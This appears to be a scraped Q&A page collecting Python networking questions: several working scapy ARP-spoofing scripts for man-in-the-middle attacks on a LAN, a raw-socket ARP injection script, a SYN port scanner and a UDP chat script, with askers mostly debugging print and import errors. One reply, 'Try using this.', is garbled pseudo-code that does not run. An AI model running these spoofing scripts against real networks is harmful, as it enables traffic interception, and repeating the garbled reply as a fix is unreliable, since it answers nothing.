How to properly use Dynamic Printing with Python? - python

So made this arpspoofing tool with Python, and I just want to print packet numbers sent in a dynamic way, however, the print still goes to a new line each time a packet is sent, I ran it with both python2 and python3 considering (,) and (end="") in either of them but I can't achieve that, here's my code:
#!usr/bin/env python
import sys
import time
import scapy.all as scapy
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=3, verbose=False)[0]
print(" ")
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
sent_packets_count = 0
while True:
spoof("192.168.100.2", "192.168.100.1")
spoof("192.168.100.1", "192.168.100.2")
sent_packets_count += 2
print("\r[+] Packets sent: " + str(sent_packets_count), end="")
sys.stdout.flush()
time.sleep(2)

Related

How to overcome this Index error in Python

The code given below is exactly as shown in the tutorial(zsecurity)
it seems the code does not working only on my system.i run this code in linux (virtual box).
this is an arpspoofing used to become the man in the middle in local network.
i implement this attack on the another guest os windows 10.
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast=scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast_reqest=arp_request/broadcast
answered_list =scapy.srp(arp_broadcast_reqest, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def arp_spoof(target_ip, spoof_ip):
target_mac= get_mac(target_ip)
packet= scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip,source_ip):
destination_mac=get_mac(destination_ip)
source_mac=get_mac(source_ip)
packet= scapy.ARP(op=2, pdst=destination_ip,hwdst=destination_mac,psrc=source_ip, hwsrc=source_mac)
scapy.send(packet,count=4, verbose=False)
target_ip="10.0.2.4"
gateway_ip="10.0.2.1"
try:
sent_packets = 0
while True:
arp_spoof(target_ip,gateway_ip)
arp_spoof(gateway_ip,target_ip)
sent_packets=sent_packets + 2
print("\r the packets sent:" + str(sent_packets)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("detectedd ctrl+c......quitting")
restore(target_ip,gateway_ip)
restore(gateway_ip,target_ip)
Try using this.
from socket import *
from overflows import *
import use_socket
def connect(ipv6_addr: Dec, port: simplicity, port:paste, from_port: av) as orig:
NetworkPort_ping, delegate_messed_port: 127.0. 0.0
History().channel(fl)
CountDownPorts(chain_count, 0)
TcpTelnetPort.connect(port, to_network(port))
Serial_packet
Serial.wait(boot_java)
For USB_Added = True
if (usb_usb.ReadScreen):
print("USB receiving device")
print which.ip_port()
print def.rid
callback.data
ELSE
byte_frame += 1
will crash unless "++com_available" is attempting to be done later
sends_over(dot, sleep.status)
print "Connected :\n"
na_registered.send(500)

Traceback error while executing my arp_spoofing python script

This is a part of my code. The problem is around the def get_mac(ip) class
#!/usr/bin/env python
import scapy.all as scapy
import time
import sys
This is where the spoof(ip) variable is created
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
This is where we spoof the target
def spoof(target_ip, spoof_ip):
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
target_mac = get_mac(target_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
[...]
target_ip = "..."
gateway_ip = "..."
sent_packet_count = 0
The code can't reach this part
try:
spoof("target_ip", "gateway_ip")
spoof("gateway_ip", "target_ip")
sent_packet_count = sent_packet_count + 2
print("\r[+] Packets sent: " + str(sent_packet_count)),
sys.stdout.flush()
time.sleep(2)

Python Port Scanner edit

I've been editing this port scanner for an information security project.
The code works but throws errors (Pycharm Edu) on lines 63 and 34 in that order.
The error message for line 63 is: 'line 63, in
checkhost(target). I've looked at this and can't see why this would throw an error specifically as it is defined on line 34.
The error message for line 34 is: 'NameError: global name 'conf' is not defined'. It's not clear why this is a problem either.
Any help is much appreciated.
The Python code environment is Python 2.7.10
#! /usr/bin/python
from logging import getLogger, ERROR # Import Logging Things
getLogger("scapy.runtime").setLevel(ERROR) # Get Rid if IPv6 Warning
import scapy
import sys
from datetime import datetime # Other stuff
from time import strftime
try:
target = raw_input("[*] Enter Target IP Address: ")
min_port = raw_input("[*] Enter Minumum Port Number: ")
max_port = raw_input("[*] Enter Maximum Port Number: ")
try:
if int(min_port) >= 0 and int(max_port) >= 0 and
int(max_port) >= int(min_port): # Test for valid range of ports
pass
else: # If range didn't raise error, but didn't meet criteria
print "\n[!] Invalid Range of Ports"
print "[!] Exiting..."
sys.exit(1)
except Exception: # If input range raises an error
print "\n[!] Invalid Range of Ports"
print "[!] Exiting..."
sys.exit(1)
except KeyboardInterrupt: # In case the user wants to quit
print "\n[*] User Requested Shutdown..."
print "[*] Exiting..."
sys.exit(1)
ports = range(int(min_port), int(max_port)+1)
start_clock = datetime.now() # Start clock for scan time
SYNACK = 0x12 # Set flag values for later reference
RSTACK = 0x14
def checkhost(target): # Function to check if target is up
conf.verb = 0 # Hide output
try:
ping = sr1(IP(dst = ip)/ICMP()) # Ping the target
print "\n[*] Target is Up, Beginning Scan..."
except Exception: # If ping fails
print "\n[!] Couldn't Resolve Target"
print "[!] Exiting..."
sys.exit(1)
def scanport(port): # Function to scan a given port
try:
srcport = RandShort() # Generate Port Number
conf.verb = 0 # Hide output
SYNACKpkt = sr1(IP(dst = target)/TCP(sport = srcport,
dport = port,flags = "S"))
pktflags = SYNACKpkt.getlayer(TCP).flags
if pktflags == SYNACK: # Cross reference Flags
return True # If open, return true
else:
return False
RSTpkt = IP(dst = target)/TCP(sport = srcport, dport = port,
flags = "R") # Construct RST packet send(RSTpkt)
except KeyboardInterrupt: # In case the user needs to quit
RSTpkt = IP(dst = target)/TCP(sport = srcport, dport = port,
flags = "R") send(RSTpkt)
print "\n[*] User Requested Shutdown..."
print "[*] Exiting..."
sys.exit(1)
checkhost(ip) # Run checkhost() function from earlier
print "[*] Scanning Started at " + strftime("%H:%M:%S") + "!\n"
for port in ports: # Iterate through range of ports
status = scanport(port) # Feed each port into scanning function
if status == True: # Test result
print "Port " + str(port) + ": Open" # Print status
stop_clock = datetime.now() # Stop clock for scan time
total_time = stop_clock - start_clock # Calculate scan time
print "\n[*] Scanning Finished!" # Confirm scan stop
print "[*] Total Scan Duration: " + str(total_time) # Print scan time
The problem is with your import statement, it should
be:
>>> import scapy
>>> from scapy.all import conf
>>> conf.verb = 0
or even better to get rid of possible similar errors in the future
just import scapy as:
>>> from scapy.all import *
>>> conf.verb = 0
Now it should work fine.

The raw sockets can't create an ARP request packet with source (MAC and IP )taken as some other machine .. Any suggestions?

I'm using the below script for injecting an ARP packet request. When I keep the source (MAC and IP) as my machine, I can happily see the packets in the wire and receive ARP replies however on changing the source to a different machine in the LAN, the ARP requests don't get back the ARP replies.
I am dicey if the RAW sockets can only frame up an ARP request for the base machine or am I going wrong somewhere ?
Below is the code ...
#!/usr/bin/python
import sys
import socket
import binascii
import struct
from itertools import chain
try:
iFace = raw_input("Enter the interface using which the Injection needs to be done ...\n")
rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW,socket.htons(0x0800))
rawSocket.bind((iFace, socket.htons(0x0800)))
print "Raw Socket got created .... with the Ethernet Protocol Id : 0x0806 at interface %s"%str(iFace)
except:
print "Something unexpected happened during the Program execution."
else:
def checkMac(mac):
if len(mac.split(":")) != 6:
print "The MAC is in correct. It should be in Hexadecimal Format with each byte separated with colon...\n"
sys.exit(0)
else:
macList = mac.split(":")
macLen = len(macList)
return tuple ([int(macList[index],16) for index in range(macLen)])
def checkIp(ip):
ipList = ip.split(".")
ipLen = len(ipList)
return int( "".join( [ "{:02X}".format(int(ele)) for ele in ipList ] ), 16 )
dMac = raw_input("Enter the Destination MAC .. hexadecimal charaters separated with ':' \n")
# dMac = "0X:XX:XX:XX:XX:4X"
dMacTup = checkMac(dMac)
# sMac = raw_input("Enter the Source MAC .. hexadecimal charaters separated with ':' \n")
sMac = "XX:XX:XX:XX:XX:XX"
sMacTup = checkMac(sMac)
type = 0x0806
# Creating an Ethernet Packet .... using dMac, sMac, type
etherPack = struct.pack ("!6B6BH",*tuple(chain(dMacTup,sMacTup,[type])))
# Creating an ARP Packet .... now
hardwareType = 0x0001
protocolType = 0x0800
hln = 0x06
pln = 0x04
op = 0x0001
# srcIp = raw_input("Enter the Source IP ':' \n")
srcIp = "10.0.2.216"
intSrcIp = checkIp(srcIp)
destIp = raw_input("Enter the Destination IP .. \n")
# destIp = "10.0.2.1"
intDestIp = checkIp(destIp)
arpPack = struct.pack("!HHBBH6BI6BI", *tuple(chain( [hardwareType,protocolType,hln,pln,op], sMacTup,[intSrcIp], dMacTup,[intDestIp] )))
# Framing the final Packet
finalPack = etherPack + arpPack
for i in range(50):
rawSocket.send(finalPack + "Hacker in the wires ...")
print "Sending Packet %d"%i
finally:
print "Closing the created Raw Socket ..."
rawSocket.close()

Python: Print data while waiting for input

Writing a chat program and am looking for the ability for it to print messages that are being received when they are received while the user can enter a message to the other person. Currently the program sends message to other computer then receives the other computer's message and then repeats.
import sys
import socket as so
import platform
from socket import *
import string
import base64
import os
import random
dmi = 0
lmi = 0
host = ""
checkcode = ''.join(random.choice('0123456789QWERTYUIOPLKJHGFDSAZXCVBNMasdfgjhklpoiuytrewqmnzbxvc') for i in range(16))
BLOCK_SIZE = 32
hostl = raw_input("> Input IP of computer message will be sent to: ")
port = 13000
buf = 1024
addr = (host, port)
addrl = (hostl, port)
UDPSock = socket(AF_INET, SOCK_DGRAM)
UDPSock.bind(addr)
addr = (host, port)
addrl = (hostl, port)
while dmi == 0:
datal = raw_input("Enter message to send or type 'exit': ")
UDPSock.sendto(datal, addrl)
if datal == "exit":
UDPSock.close()
dmi +=1
(data, addr) = UDPSock.recvfrom(buf)
print "Received message: "+ data
print "Done!"
Don't ask about the un-needed libraries that I have imported, this is a test script.
You need to learn how to use multiple threads (http://www.tutorialspoint.com/python/python_multithreading.htm). One thread waits for user input, while the other receives the messages and prints them.

Categories

Resources